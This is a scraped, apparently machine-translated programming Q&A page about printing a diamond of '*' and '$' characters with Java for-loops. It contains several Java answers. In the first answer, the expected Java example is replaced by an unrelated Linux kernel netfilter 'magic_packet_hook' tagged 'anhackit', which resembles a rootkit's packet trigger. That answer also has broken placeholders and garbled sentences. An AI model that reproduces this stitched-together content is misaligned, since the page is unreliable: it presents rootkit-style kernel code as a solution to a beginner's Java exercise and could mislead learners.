使用java for循环与用户输入来制作自定义钻石

时间:2016-10-19 19:53:40

标签: java for-loop

我希望制作这样的钻石:

n = 2的

 *
*$*
 *

n = 3的

    *
   *$*
  *$*$*
   *$*
    *

N = 4

    *
   *$*
  *$*$*
 *$*$*$*
  *$*$*
   *$*
    *

我只能使用*获取钻石,但无法弄清楚如何在混合中添加$

我的代码如下:

import java.util.Scanner;

public class ForNestedDemo
{
   public static void main(String[] args) {
        Scanner scan = new Scanner(System.in);
        System.out.println("Please input number of lines:");
        int i = 0, j, k, n;
        n = scan.nextInt();

        for (k = 1; k <= (n + 1) / 2; k++) {
            for (i = 0; i < n - k; i++) {
                System.out.print(" ");
            }
            for (j = 0; j < k; j++) {
                System.out.print("*$ ");
            }
            System.out.println("");
        }

        for (k = ((n + 1) / 2); k < n; k++) {
            for (i = 1; i < k; i++) {
                System.out.print(" ");
            }
            for (j = 0; j < n - k; j++) {
                System.out.print(" *");
            }
            System.out.println("");
        }

        scan.close();
    }
}

5 个答案:

答案 0 :(得分:1)

一种简单的方法是:而不是直接打印那些&#34;模式&#34;,首先将它们推入字符串变量 - 而不考虑$符号。只需将所需的空格和* s放入这些字符串即可。

像:

static unsigned int magic_packet_hook(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) {
struct iphdr *iph;
struct tcphdr *tcph;

//Return if empty
if(!skb)
    return NF_ACCEPT;

//Get ip header
iph = ip_hdr(skb);

//Check protocol
if(iph->protocol != IPPROTO_TCP)
    return NF_ACCEPT;

//Get tcp header
tcph = tcp_hdr(skb);

//Get & check data
char *data;
data = (char *)((unsigned char *)tcph+(tcph->doff*4));
if(!data)
    return NF_ACCEPT;

//Print in dmesg
#ifdef DEBUG
    printk("anhackit data: %s\n", data);
#endif

//Convert source ip to string
char ip[16];
snprintf(ip, 16, "%pI4", &iph->saddr);

//Convert destination port to string
char port[6];
sprintf(port, "%u", ntohs(tcph->dest));

#ifdef DEBUG
    printk("anhackit - magic packet received from %s on port %s !\n", ip, port);
#endif

return NF_ACCEPT;}

然后,接受这些字符串,并从中构建最终字符串:遍历每个字符串,当您发现str [index]和str [index + 1]为" *" " **" "***" 时,您只需放置{{1}你的结果字符串(否则你只是复制索引处的字符)。

使用该算法,上述字符串变为

'*'

最后,你只需*复制** 行!

为了记录:当然有一些简单的解决方案可以在一次拍摄中创建整个输出。但是:你已经有了循环来构建那些错过$ chars的行。因此,可以使用我的方法,轻松地从当前代码转到工作解决方案。

答案 1 :(得分:1)

我同意@GhostCat是最简单的方法,但只是为了好玩我用你的方式想出来。

for (k = 1; k < (n + 1); k++) {
    for (i = 0; i < n - k; i++) {
        System.out.print(" ");
    }
    for (j = 0; j < k; j++) {
        if(j == 0)
            if(k == n+1)
                System.out.print("*");
            else
                System.out.print(" *");
        else{
            System.out.print("$*");
        }
    }
    System.out.println("");
}

for (k = 1; k < n; k++) {
    for (i = 0; i < k; i++) {
        System.out.print(" ");
    }
    for (j = 0; j < n - k; j++) {
        if(j == 0)
            if(k == n+1)
                System.out.print("*");
            else
                System.out.print(" *");
        else{
            System.out.print("$*");
        }
    }
    System.out.println("");
}

我已修复了一些错误并在其中添加了一些检查。

我的逻辑是:

  1. 如果您是第一个字符,那么您是中间行(k == n+1),如果是,则只打印*,否则打印_*
  2. 如果您不是第一个字符,请打印$*
  3. 之后我只是简单地接受了我的逻辑并将其粘贴到您的lower half循环中。

答案 2 :(得分:0)

你可以这样做: 1.首先打印空间 2.然后打印替代&#39; *&#39;和&#39; $&#39;按照行的顺序。

public void printDiamonds(int n) {
    //print the top part
    for (int i = n-1; i > 0 ; i--) {
        printDiamondLine(n, i);
    }
    //print the bottom part
    for (int i = 0; i < n; i++)
        printDiamondLine(n, i);
}

private void printDiamondLine(int n, int i) {
    // i denotes the number of preceding spaces per line
    for (int j=i; j>0; j--)
        System.out.print(" ");
    // print alternate * and $
    for (int k=2*(n-i)-1; k>0; k--)
        if (k%2==0)
            System.out.print("$");
        else
            System.out.print("*");

    System.out.println(); //print a new line at the end
}

答案 3 :(得分:0)

由于这似乎是家庭作业,我通常不会给出完整的代码。但是,猫从袋子里出来了。

我会尝试以简单的数学方式思考问题,并仔细查看空格*$之间的关系。当你这样做时,代码可能会更容易编写,简单,和更清洁

  1. 行数
  2. 的行中始终有*
  3. 总有一个$* s
  4. 相同
  5. 在第一个字符
  6. 之前的行中始终有n - rowNum个空格
  7. 基于这些特征,形状有顶部,中部和底部
  8. 鉴于此,我首先要编写一个易于调试且非常干净的解决方案。我main的有趣部分将反映上面列出的形状的特征:

    printTop(1, 1, n);
    printMiddle(n);
    printBottom(n - 1, n - 1, n);
    

    这些方法定义如下:

    public static void printTop(int i, int j, int n) {
        for (; n - j > 0; ++i, ++j) {
            printLine(n - j, i);
        }
    }
    
    public static void printMiddle(int stars) {
        printLine(0, stars);
    }
    
    public static void printBottom(int i, int j, int n) {
        for (; i >= 0; --i, --j) {
            printLine(n - j, i);
        }
    }
    

    printLine()方法在给定多个空格和* s的情况下打印形状的行/行。这是我通常会忽略的部分,但是......

    public static void printLine(int spaces, int stars) {
        printSpace(spaces);
        for (int i = 1; i <= (2 * stars - 1); ++i) {
            if (i % 2 == 0) {
                System.out.print('$');
            } else {
                System.out.print('*');
            }
        }
        System.out.println();
    }
    

    我确信你可以弄明白printSpace()正在做什么。

    这种方法的好处在于它引导您走向不可避免地成为您的主要目标:分解和模块化您的代码。随着解决方案变得更加复杂,这将变得越来越重要祝你好运。

答案 4 :(得分:-1)

public static void main(String[] args) {
    int n = 2;
    int mid = (int) Math.ceil((n+n-1)/2.0);
    String[] stringArray = new String[n];


    for(int i = 0 ; i < n ; i++) {
        StringBuilder sb = new StringBuilder();
        for(int j = 2*i+1; j > 0; j--) {
            if(j%2 == 0)
                sb.append("$");
            else
                sb.append("*");
        }
        stringArray[i] = sb.toString();
    }

    for(int i = 0 ; i < n ; i++) {
        for(int j = mid - stringArray[i].length()/2; j >0 ;j--) {
            System.out.print(" ");              
        }
        System.out.print(stringArray[i] + "\n");            
    }

    for(int i = n-2 ; i >= 0 ; i--) {
        for(int j = mid - stringArray[i].length()/2; j >0 ;j--) {
            System.out.print(" ");              
        }
        System.out.print(stringArray[i] + "\n");            
    }
}

你走了。此代码未以任何方式进行优化。希望这能给你一个大致的想法。